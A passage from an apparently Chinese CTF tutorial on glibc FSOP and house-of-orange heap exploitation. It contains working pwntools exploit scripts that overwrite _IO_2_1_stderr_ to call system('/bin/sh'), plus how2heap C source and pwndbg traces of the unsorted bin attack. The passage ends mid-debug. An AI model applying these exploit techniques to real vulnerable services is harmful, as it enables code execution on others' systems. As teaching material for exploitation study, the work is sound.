lambda delims, drop=True  :p.recvuntil(delims, drop)itr     = lambda                    :p.interactive()uu32    = lambda data               :u32(data.ljust(4,'\0'))uu64    = lambda data               :u64(data.ljust(8,'\0'))leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr)) p = process("./ciscn_2019_n_7")#p = remote("node4.buuoj.cn",29535)libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#libc = ELF('./libc-2.23.so')elf = ELF("./ciscn_2019_n_7") def dbg():    gdb.attach(p)    pause() def command(id):    ru("-> \n")    sl(str(id)) def add(article_len,author_name):    command(1)    ru('Input string Length: \n')    sl(str(article_len))    ru('Author name:\n')    s(author_name) def edit(name, content):    command(2)    ru("New Author name:\n")    sl(name)    ru("New contents:\n")    s(content) # step1: leak addrcommand(666)puts_addr = int(r(14),16)leak("puts_addr",puts_addr)libc_base = puts_addr-libc.sym['puts']leak("libc_base",libc_base) # IO_list_all=libc_base+libc.sym['_IO_list_all']# log.info("IO_list_all:"+hex(IO_list_all))IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_baseleak("IO_2_1_stderr", IO_2_1_stderr)system=libc_base+libc.sym['system']leak("system", system)#dbg() # step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_payload = 'a'*8 + p64(IO_2_1_stderr)add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0#dbg() # step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_ #define writebase_offset 0x20   ->0#define writeptr_offset 0x28    ->1#define mode_offset 0xc0        ->0#define vtable_offset 0xd8      ->system&onegadget payload = '/bin/sh'.ljust(32, '\x00') + p64(0) + p64(1)#0x30payload += p64(0)*4 + p64(system)*4  #p64(libc_base+0x4526a)*4#0x50-0x70payload = payload.ljust(0xd8, '\x00')payload += p64(IO_2_1_stderr+0x40)edit('a\n', payload)#dbg()sleep(0.5)# step4:exitcommand('a') # 随便输入一个,让程序退出,触发_IO_flush_all_lockp。(不知道为什么如果进4是拿不到shell的) sleep(0.5)#p.sendline('exec 1>&0') itr()

利用pwn_debug构造fake_file

......from pwn_debug import * context(log_level='debug',arch='amd64') #,terminal=['tmux','sp','-h']) 相对于上面的exp,添加arch ......  # step1: leak addrcommand(666)puts_addr = int(r(14),16)leak("puts_addr",puts_addr)libc_base = puts_addr-libc.sym['puts']leak("libc_base",libc_base) # IO_list_all=libc_base+libc.sym['_IO_list_all']# log.info("IO_list_all:"+hex(IO_list_all))IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_baseleak("IO_2_1_stderr", IO_2_1_stderr)system=libc_base+libc.sym['system']leak("system", system)#dbg() # step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_payload = 'a'*8 + p64(IO_2_1_stderr)add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0#dbg() # step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_ #define writebase_offset 0x20   ->0#define writeptr_offset 0x28    ->1#define mode_offset 0xc0        ->0#define vtable_offset 0xd8      ->system&onegadget #payload = '/bin/sh'.ljust(32, '\x00') + p64(0) + p64(1)#0x30#payload += p64(0)*4 + p64(system)*4  #p64(libc_base+0x4526a)*4#0x50-0x70#payload = payload.ljust(0xd8, '\x00')#payload += p64(IO_2_1_stderr+0x40) libc.address = libc_base # 除了得到libc基址后分别计算其他地址外,还可以直接将真实地址赋值给libc.address,其他地址只要sym就可以了fake_file=IO_FILE_plus() # 需要在前面设置 context.arch='amd64',不然默认是i386fake_file._flags = 0x0068732f6e69622ffake_file._IO_write_base = 0fake_file._IO_write_ptr = 1fake_file._mode = 0#fake_file._IO_save_end = systemfake_file._IO_save_end = libc.sym["system"]#fake_file.vtable = IO_2_1_stderr+0x40fake_file.vtable = libc.sym["_IO_2_1_stderr_"]+0x40fake_file.show() # 打印fake file的结构 #dbg()#edit('a\n', payload)edit('a\n',str(fake_file))#dbg()sleep(0.5)# step4:exitcommand('a') sleep(0.5)#p.sendline('exec 1>&0') p.interactive()


house of orange

< 2.26

原理为:堆溢出 + size(top chunk)<size(request) + unsorted bin attack + fsop

house of orange攻击的主要思路是利用unsorted bin attack修改_IO_list_all指针,并伪造_IO_FILE_plus结构体及其vtable(虚函数表)来劫持控制流。

利用过程:

通过堆溢出漏洞把top chunk的size改小;
通过申请一个比溢出修改后top chunk的size更大的chunk,使得top chunk进入unsorted bin,泄露出libc基址;
通过unsorted bin attack将_IO_list_all内容从_IO_2_1_stderr_改为main_arena+88/96(实则指向top chunk);
在old_top_chunk伪造_IO_FILE_plus结构体及其vtable(虚表)来劫持控制流。

在_IO_FILE_plus结构体中,_chain的偏移为0x68,而top chunk之后为0x8单位的last_remainder,接下来为unsorted bin的fd与bk指针,共0x10大小,再之后为small bin中的指针(每个small bin有fd与bk指针,共0x10个单位),剩下0x50的单位,从smallbin[0]正好分配到smallbin[4](准确说为其fd字段),大小就是从0x20到0x60,而smallbin[4]的fd字段中的内容为该链表中最靠近表头的small bin的地址 (chunk header),因此0x60的small bin的地址即为fake struct的_chain中的内容,只需要控制该0x60的small bin(以及其下面某些堆块)中的部分内容,即可进行FSOP。

利用条件

堆溢出漏洞

能修改top chunk的size。

  • 分配的chunk大小小于0x20000,大于top chunk的size

  • top chunk大小大于MINSIZE

  • top chunk的inuse等于1

  • top chunk的大小要对齐到内存页

能修改bk ->unsortedbin attack -> 任意地址写 -> 修改IO_list_all的内容。

能在top chunk伪造IO_FILE和vtable。

能泄露chunk的内容 -> 泄露libc某个地址 -> 泄露出_IO_list_all的地址。

3.1 how2heap

// gcc house_of_orange.c -g -o house_of_orange#include <stdio.h>#include <stdlib.h>#include <string.h> int winner ( char *ptr);int main(){    char *p1, *p2;    size_t io_list_all, *top;     // 首先 malloc 一块 0x400 大小的 chunk    p1 = malloc(0x400-16);     // 假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01    top = (size_t *) ( (char *) p1 + 0x400 - 16);    top[1] = 0xc01;     // 再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk    p2 = malloc(0x1000);     // 此时top[2]和top[3]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是0x9a8,计算得到 _IO_list_all的地址    io_list_all = top[2] + 0x9a8;     // 假设存在堆溢出,设置old top chunk的bk指针为 io_list_all - 0x10,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址    top[3] = io_list_all - 0x10;     // 将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样    memcpy( ( char *) top, "/bin/sh\x00", 8);    top[1] = 0x61;    _IO_FILE *fp = (_IO_FILE *) top;     // 为调用_IO_OVERFLOW需满足一些检查,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr    fp->_mode = 0;    fp->_IO_write_base = (char *) 2;    fp->_IO_write_ptr = (char *) 3;     // 将_IO_OVERFLOW 改为 system 函数的地址    size_t *jump_table = &top[12];    jump_table[3] = (size_t) &winner;     // 把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;     // 执行malloc中的攻击链    malloc(10);    return 0;} int winner(char *ptr){    system(ptr);    return 0;}

调试分析

泄露_IO_list_all的地址

1.分配一个chunk

// 首先 malloc 一块 0x400 大小的 chunkp1 = malloc(0x400-16);
pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x602000Size: 0x401 Top chunk | PREV_INUSEAddr: 0x602400Size: 0x20c01       <--  0x20c00+0x400 = 0x21000 (页对齐(0x1000))

2.溢出修改top chunk的size

// 假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01top = (size_t *) ( (char *) p1 + 0x400 - 16);top[1] = 0xc01;
pwndbg> p top$1 = (size_t *) 0x602400pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x602000Size: 0x401 Top chunk | PREV_INUSEAddr: 0x602400Size: 0xc01 pwndbg> p top$2 = (size_t *) 0x602400 pwndbg> x/4gx 0x6024000x602400:    0x0000000000000000    0x0000000000000c01   <-- 0xc00+0x400 = 0x1000 页对齐0x602410:    0x0000000000000000    0x0000000000000000

3.malloc一个更大的chunk时,将top chunk释放到unsortedbin中

// 再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunkp2 = malloc(0x1000);
pwndbg> binfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602400 smallbinsemptylargebinsemptypwndbg> x/4gx (char*)(&main_arena)+880x7ffff7dd1b78 <main_arena+88>:    0x0000000000624010    0x00000000000000000x7ffff7dd1b88 <main_arena+104>:    0x0000000000602400    0x0000000000602400pwndbg> x/4gx 0x6024000x602400:    0x0000000000000000    0x0000000000000be10x602410:    0x00007ffff7dd1b78    0x00007ffff7dd1b78   <-- old top chunk的fd和bk都存储unsoredbin地址

heap的变化如下所示:

// 溢出修改top的size前      0x602000     0x602400               0x623000           |------------|------...-------------|          |    chunk   | Top  ...             |          |------------|------...-------------|      heap start                          heap end // 溢出修改top的size      0x602000     0x602400      0x603000   0x623000          |------------|------..------|--...--|          |    chunk   | Top  ..      |  ...  |          |------------|------..------|--...--|     heap start                    heap end // malloc(0x1000)后      0x602000     0x602400      0x603000   0x623000  0x624010          |------------|------..------|--...--|---------|-----..----|          |    chunk   | Top(free) .. |  ...  | chunk p2| new Top   |          |------------|------..------|--...--|---------|-----..----|     heap start                                                 new heap end

4.泄露出_IO_list_all的地址

// 此时top[2]和top[3]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是0x9a8,计算得到 _IO_list_all的地址io_list_all = top[2] + 0x9a8;
pwndbg> p/x io_list_all$16 = 0x7ffff7dd2520

为unsortedbin attack作准备

回顾unsortedbin attack,从unsorted bin中取出chunk时,会执行以下代码:

for (;; )  {    int iters = 0;    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // 将最后一个chunk(victim)取出      {        bck = victim->bk; // bck为倒数第二个chunk        ......        /* remove from unsorted list */        unsorted_chunks (av)->bk = bck; // 若发生攻击,则unsortedbin的bk设置成了改写的victim->bk        bck->fd = unsorted_chunks (av); // 把倒数第二个chunk的fd设置为unsorted_chunks(av)        ......

所以,如果将victim的bk改写为某个地址,则可以向这个地址+0x10(即为bck->fd)的地方写入unsortedbin的地址(&main_arena+88)

5.为unsortedbin attack作准备,将old top chunk的bk指针为 io_list_all - 0x10

// 假设存在堆溢出,设置old top chunk的bk指针为 io_list_all - 0x10,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址top[3] = io_list_all - 0x10;
pwndbg> x/4gx top0x602400:    0x0000000000000000    0x0000000000000be10x602410:    0x00007ffff7dd1b78    0x00007ffff7dd2510

为fsop作准备

回顾fsop:

_IO_flush_all_lockp 中调用_IO_OVERFLOW的条件,根据短路原理可知需满足:

fp->_mode <= 0

fp->_IO_write_ptr > fp->_IO_write_base

FSOP攻击条件:

能泄露出libc的基址 -> 泄露出_IO_list_all的地址(满足);
有可控内存 -> 伪造_IO_FILE和vtable(无法控制main_arena中的数据);
任意地址写 -> 将_IO_list_all的内容改为指向可控内存的指针(满足)。

6.为fsop作准备

前面unsortedbin attack可将_IO_list_all指针的值修改为main_arena+88。但这还不够,因为我们很难控制main_arena中的数据,并不能在mode、_IO_write_ptr和_IO_write_base的对应偏移处构造出合适的值。

所以将目光转向_IO_FILE的链表特性。_IO_flush_all_lockp函数会通过fp = fp->_chain不断的寻找下一个_IO_FILE。

所以如果可以修改fp->_chain到一个我们伪造好的_IO_FILE的地址,那么就可以成功实现利用了。

巧妙的是,_IO_FILE结构中的_chain字段对应偏移是0x68,而在main_arena+88对应偏移为0x68的地址正好是大小为0x60的small bin的bk,而由于我们能通过溢出漏洞改old top chunk的size,所以在将其链入smallbin[0x60]之后,就可以实现如下图所示的攻击链。

// 将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样memcpy( ( char *) top, "/bin/sh\x00", 8);top[1] = 0x61;_IO_FILE *fp = (_IO_FILE *) top; // 为调用_IO_OVERFLOW需满足一些检查,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptrfp->_mode = 0;fp->_IO_write_base = (char *) 2;fp->_IO_write_ptr = (char *) 3; // 将_IO_OVERFLOW 改为 system 函数的地址size_t *jump_table = &top[12];jump_table[3] = (size_t) &winner; // 把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
pwndbg> p *((struct _IO_FILE_plus*)0x602400) # 查看布局之后的old top chunk$18 = {  file = {    _flags = 1852400175,                              <-- _flags = "/bin/sh"    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,    _IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\[email protected]",    _IO_read_base = 0x7ffff7dd2510 "",    _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,        <-- fp->_IO_write_ptr > fp->_IO_write_base    _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,    _IO_write_end = 0x0,    _IO_buf_base = 0x0,    _IO_buf_end = 0x0,    _IO_save_base = 0x0,    _IO_backup_base = 0x0,    _IO_save_end = 0x0,    _markers = 0x0,                 <-- top[12] / jump_table[0]    _chain = 0x0,           <-- jump_table[1]    _fileno = 0,            <-- jump_table[2]    _flags2 = 0,                _old_offset = 4196051,  <-- jump_table[3]    _cur_column = 0,    _vtable_offset = 0 '\000',    _shortbuf = "",    _lock = 0x0,    _offset = 0,    _codecvt = 0x0,    _wide_data = 0x0,    _freeres_list = 0x0,    _freeres_buf = 0x0,    __pad5 = 0,    _mode = 0,                          <-- fp->_mode <= 0    _unused2 = '\000' <repeats 19 times>  },  vtable = 0x602460                 <-- vtable = &top[12]}pwndbg> x/gx 0x6024000x602400:    0x0068732f6e69622fpwndbg> x/s 0x6024000x602400:    "/bin/sh"
发起攻击
// 执行malloc中的攻击链: //    malloc中第一次大for循环:old_top_chunk从unsortedbin脱链(unsortedbin attack) // -> old_top_chunk 插入0x60大小对应的smallbin(将main_arena+88为起始地址的IO_FILE结构体中的chain修改为&old_top_chunk) // -> malloc中第二次大for循环:unsortedbin->bk不等于自身(unsortedbin attack攻击结果),而其size为0,检查的时候触发异常,调用malloc_printerr,进而调用_IO_flush_all_lockp,导致fsop。     malloc(10);
7.unsortedbin attack实施
pwndbg> dir /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libioSource directories searched: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio:$cdir:$cwd pwndbg> dir /home/lzx/pwn/heap/IO_FILE/glibc-2.23/mallocSource directories searched: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc:/home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio:$cdir:$cwd pwndbg> p _IO_list_all$29 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>pwndbg> p &_IO_list_all  # 打印_IO_list_all地址$30 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>pwndbg> wa *0x7ffff7dd2520  # 在_IO_list_all设置硬件断点Hardware watchpoint 2: *0x7ffff7dd2520pwndbg> cContinuing. Hardware watchpoint 2: *0x7ffff7dd2520 Old value = -136501952New value = -136504456  # main_arena+88_int_malloc ([email protected]=0x7ffff7dd1b20 <main_arena>, [email protected]=10) at malloc.c:3527warning: Source file is more recent than executable.3527              if (size == nb)LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────*RAX  0x7fffffffdbdf ◂— 0x0*RBX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000001*RCX  0x7c*RDX  0x7ffff7dd1b28 (main_arena+8) ◂— 0x0*RDI  0x7fffffffdbe0 ◂— 0x0*RSI  0x60 R8   0x623000 ◂— 0x0 R9   0x0 R10  0x46c R11  0x7ffff7b5afa0 (__memcpy_avx_unaligned) ◂— mov    rax, rdi*R12  0x2710*R13  0x7ffff7dd1b78 (main_arena+88) —▸ 0x624010 ◂— 0x0*R14  0x602400 ◂— 0x68732f6e69622f /* '/bin/sh' */*R15  0x7ffff7dd2510 ◂— 0x0*RBP  0x20*RSP  0x7fffffffdb60 ◂— 0x7fff00000002*RIP  0x7ffff7a8ee3c (_int_malloc+684) ◂— je     0x7ffff7a8f2e8──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────0x7ffff7a8ee3c <_int_malloc+684>    je     _int_malloc+1880 <_int_malloc+1880>    0x7ffff7a8ee42 <_int_malloc+690>    cmp    rsi, 0x3ff   0x7ffff7a8ee49 <_int_malloc+697>    jbe    _int_malloc+536 <_int_malloc+536>   0x7ffff7a8eda8 <_int_malloc+536>    mov    ecx, esi   0x7ffff7a8edaa <_int_malloc+538>    shr    ecx, 4   0x7ffff7a8edad <_int_malloc+541>    lea    eax, [rcx + rcx - 2]   0x7ffff7a8edb1 <_int_malloc+545>    cdqe     0x7ffff7a8edb3 <_int_malloc+547>    lea    rax, [rbx + rax*8 + 0x60]   0x7ffff7a8edb8 <_int_malloc+552>    mov    rdi, qword ptr [rax + 8]   0x7ffff7a8edbc <_int_malloc+556>    lea    r8, [rax - 8]   0x7ffff7a8edc0 <_int_malloc+560>    mov    eax, ecx──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc/malloc.c   3522           unsorted_chunks (av)->bk = bck;   3523           bck->fd = unsorted_chunks (av);   3524   3525           /* Take now instead of binning if exact fit */   35263527           if (size == nb)   <------------------------ unsortedbin attack攻击结束   3528             {   3529               set_inuse_bit_at_offset (victim, size);   3530               if (av != &main_arena)   3531                 victim->size |= NON_MAIN_ARENA;   3532               check_malloced_chunk (av, victim, nb);──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────00:0000│ rsp  0x7fffffffdb60 ◂— 0x7fff0000000201:00080x7fffffffdb68 ◂— 0xa /* '\n' */02:00100x7fffffffdb70 —▸ 0x7fffffffdbe0 ◂— 0x003:00180x7fffffffdb78 —▸ 0x7ffff7b5048b (_dl_addr+443) ◂— add    rsp, 0x2804:00200x7fffffffdb80 ◂— 0x005:00280x7fffffffdb88 —▸ 0x7fffffffdbe8 —▸ 0x7ffff7fd9000 —▸ 0x7ffff7a0d000 ◂— jg     0x7ffff7a0d04706:00300x7fffffffdb90 ◂— 0xffff800000002421 /* '!$' */07:00380x7fffffffdb98 —▸ 0x7fffffffdbdf ◂— 0x0────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────── ► f 0     7ffff7a8ee3c _int_malloc+684   f 1     7ffff7a911d4 malloc+84   f 2           4006cc main+246   f 3     7ffff7a2d840 __libc_start_main+240──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> p _IO_list_all  # unsortedbin attack攻击成功,_IO_list_all的值变成了main_arena+88$31 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88>

8.查看修改top[1] = 0x61;的结果:unsortedbin所在地址 + 0x68(smallbin[0x60]->bk)变成&old_top_chunk

前面通过溢出将位于unsorted bin中的chunk(old top chunk的部分)的size修改为0x61。那么在这一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc进入大循环,把unsorted bin中的chunk插入到对应的small bin或large bin中。第7步是将old_top_chunk从unsortedbin脱下来,接下来就是将其插入0x60大小的smallbin中了。同时,该small bin的fd和bk都会变为此chunk的地址。

大循环里将从unsortedbin脱下来的chunk插入smallbin的代码如下:

/* remove from unsorted list */unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ if (size == nb) // 和申请的大小不匹配,不走进去  {    ......  } /* place chunk in bin */ if (in_smallbin_range (size)) // 走这  {    victim_index = smallbin_index (size);    bck = bin_at (av, victim_index);  // bck指向对应index的smallbin的prev_size    fwd = bck->fd;                    // 若smallbin里没有chunk,则其fd和bk都是指向其prev_size的,看下面调试  }else  {  ......  } mark_bin (av, victim_index); // 然后走这victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;

接着步骤7,单步调试,走到mark_bin (av, victim_index);:

pwndbg> p victim    # victim 还是old_top_chunk$37 = (mchunkptr) 0x602400pwndbg> p fwd       # 若smallbin里没有chunk,则其fd和bk都是指向其prev_size的$38 = (mchunkptr) 0x7ffff7dd1bc8 <main_arena+168>pwndbg> p bck       # bck指向对应index的smallbin的prev_size,看下面,和unsortedbin的偏移是0x50$39 = (mchunkptr) 0x7ffff7dd1bc8 <main_arena+168>pwndbg> p victim_index$40 = 6pwndbg> p (char*)&main_arena+88 # unsortedbin地址$41 = 0x7ffff7dd1b78 <main_arena+88> "\[email protected]"pwndbg> p/x 0x7ffff7dd1bc8-0x7ffff7dd1b78 # bck和它的偏移是0x50$42 = 0x50pwndbg> x/20gx 0x7ffff7dd1b780x7ffff7dd1b78 <main_arena+88>:    0x0000000000624010    0x00000000000000000x7ffff7dd1b88 <main_arena+104>:    0x0000000000602400    0x00007ffff7dd2510    <-- smallbin[0x20]0x7ffff7dd1b98 <main_arena+120>:    0x00007ffff7dd1b88    0x00007ffff7dd1b88    <-- smallbin[0x30]0x7ffff7dd1ba8 <main_arena+136>:    0x00007ffff7dd1b98    0x00007ffff7dd1b98    <-- smallbin[0x40]0x7ffff7dd1bb8 <main_arena+152>:    0x00007ffff7dd1ba8    0x00007ffff7dd1ba8    <-- smallbin[0x50]0x7ffff7dd1bc8 <main_arena+168>:    0x00007ffff7dd1bb8    0x00007ffff7dd1bb8    <-- smallbin[0x60]0x7ffff7dd1bd8 <main_arena+184>:    0x00007ffff7dd1bc8    0x00007ffff7dd1bc8    <-- smallbin[0x60]的fd和bk0x7ffff7dd1be8 <main_arena+200>:    0x00007ffff7dd1bd8    0x00007ffff7dd1bd80x7ffff7dd1bf8 <main_arena+216>:    0x00007ffff7dd1be8    0x00007ffff7dd1be80x7ffff7dd1c08 <main_arena+232>:    0x00007ffff7dd1bf8    0x00007ffff7dd1bf8

继续单步调试,走完bck->fd = victim;

pwndbg> p fwd->bk$43 = (struct malloc_chunk *) 0x602400  # 可以看到smallbin[0x60]的bk已经改成old_top_chunkpwndbg> p bck->fd$44 = (struct malloc_chunk *) 0x602400  # 可以看到smallbin[0x60]的fd已经改成old_top_chunkpwndbg> x/20gx 0x7ffff7dd1b780x7ffff7dd1b78 <main_arena+88>:    0x0000000000624010    0x00000000000000000x7ffff7dd1b88 <main_arena+104>:    0x0000000000602400    0x00007ffff7dd25100x7ffff7dd1b98 <main_arena+120>:    0x00007ffff7dd1b88    0x00007ffff7dd1b880x7ffff7dd1ba8 <main_arena+136>:    0x00007ffff7dd1b98    0x00007ffff7dd1b980x7ffff7dd1bb8 <main_arena+152>:    0x00007ffff7dd1ba8    0x00007ffff7dd1ba80x7ffff7dd1bc8 <main_arena+168>:    0x00007ffff7dd1bb8    0x00007ffff7dd1bb80x7ffff7dd1bd8 <main_arena+184>:    0x0000000000602400    0x0000000000602400 #可看到smallbin[0x60]的fd/bk已被修改为old_top_chunk0x7ffff7dd1be8 <main_arena+200>:    0x00007ffff7dd1bd8    0x00007ffff7dd1bd80x7ffff7dd1bf8 <main_arena+216>:    0x00007ffff7dd1be8    0x00007ffff7dd1be80x7ffff7dd1c08 <main_arena+232>:    0x00007ffff7dd1bf8    0x00007ffff7dd1bf8pwndbg> p victim->bk$45 = (struct malloc_chunk *) 0x7ffff7dd1bc8 <main_arena+168>pwndbg> p victim->fd$46 = (struct malloc_chunk *) 0x7ffff7dd1bc8 <main_arena+168>pwndbg> p *((struct _IO_FILE_plus*)0x7ffff7dd1b78)$47 = {  file = {    _flags = 6438928,    _IO_read_ptr = 0x0,    _IO_read_end = 0x602400 "/bin/sh",    _IO_read_base = 0x7ffff7dd2510 "",    _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "",    _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "",    _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",    _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",    _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",    _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",    _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",    _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",    _markers = 0x602400,  #可看到smallbin[0x60]的fd/bk对应FILE结构体里的_markers和_chain    _chain = 0x602400,    # _chain已被修改为old_top_chunk    _fileno = -136504360,    _flags2 = 32767,    _old_offset = 140737351850968,    _cur_column = 7144,    _vtable_offset = -35 '\335',    _shortbuf = <incomplete sequence \367>,    _lock = 0x7ffff7dd1be8 <main_arena+200>,    _offset = 140737351851000,    _codecvt = 0x7ffff7dd1bf8 <main_arena+216>,    _wide_data = 0x7ffff7dd1c08 <main_arena+232>,    _freeres_list = 0x7ffff7dd1c08 <main_arena+232>,    _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>,    __pad5 = 140737351851032,    _mode = -136504280,    _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"  },  vtable = 0x7ffff7dd1c38 <main_arena+280>}pwndbg> binfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall [corrupted]FD: 0x602400 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x602400BK: 0x7ffff7dd2510 ◂— 0x0smallbins0x60: 0x602400 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x602400largebinsempty

此时,IO_list_all、IO_FILE(main_arena+88)、IO_FILE(old_top_chunk)三者已经链接起来了,接下来就只需要触发_IO_flush_all_lockp -> __overflow就可以了。

9.触发_IO_flush_all_lockp

for循环结束一次,接着进行第二次循环。由于unsortedbin attack的时候破坏了unsorted bin的链表结构,所以接下来的分配过程会出现错误,系统调用malloc_printerr去打印错误信息,从而被劫持流程,执行到winner,然后由winner执行system函数:

for (;; )  {    int iters = 0;    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))      {        bck = victim->bk;        if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)            || __builtin_expect (victim->size > av->system_mem, 0))          malloc_printerr (check_action, "malloc(): memory corruption",   <-- 这里会触发_IO_flush_all_lockp                           chunk2mem (victim), av);

调试:

pwndbg>3481                malloc_printerr (check_action, "malloc(): memory corruption",LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────── RAX  0x0 RBX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000001 RCX  0x6 RDX  0x40 RDI  0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ... RSI  0x0 R8   0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ... R9   0x0 R10  0x46c R11  0x7ffff7b5afa0 (__memcpy_avx_unaligned) ◂— mov    rax, rdi R12  0x270f R13  0x7ffff7dd1b78 (main_arena+88) —▸ 0x624010 ◂— 0x0 R14  0x7ffff7dd2510 ◂— 0x0 R15  0x0 RBP  0x20 RSP  0x7fffffffdb60 ◂— 0x7fff00000002*RIP  0x7ffff7a8ef60 (_int_malloc+976) ◂— mov    r10d, dword ptr [rip + 0x3421e9]──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────0x7ffff7a8ef60 <_int_malloc+976>     mov    r10d, dword ptr [rip + 0x3421e9] <0x7ffff7dd1150>   0x7ffff7a8ef67 <_int_malloc+983>     or     dword ptr [rbx + 4], 4   0x7ffff7a8ef6b <_int_malloc+987>     mov    eax, r10d   0x7ffff7a8ef6e <_int_malloc+990>     and    eax, 5   0x7ffff7a8ef71 <_int_malloc+993>     cmp    eax, 5   0x7ffff7a8ef74 <_int_malloc+996>     je     _int_malloc+2173 <_int_malloc+2173>    0x7ffff7a8ef7a <_int_malloc+1002>    test   r10b, 1   0x7ffff7a8ef7e <_int_malloc+1006>    jne    _int_malloc+1312 <_int_malloc+1312>   0x7ffff7a8f0b0 <_int_malloc+1312>    mov    rax, qword ptr [rsp + 0x10]   0x7ffff7a8f0b5 <_int_malloc+1317>    lea    rdi, [r14 + 0x10]   0x7ffff7a8f0b9 <_int_malloc+1321>    xor    ecx, ecx──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc/malloc.c   3476       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))   3477         {   3478           bck = victim->bk;   3479           if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)   3480               || __builtin_expect 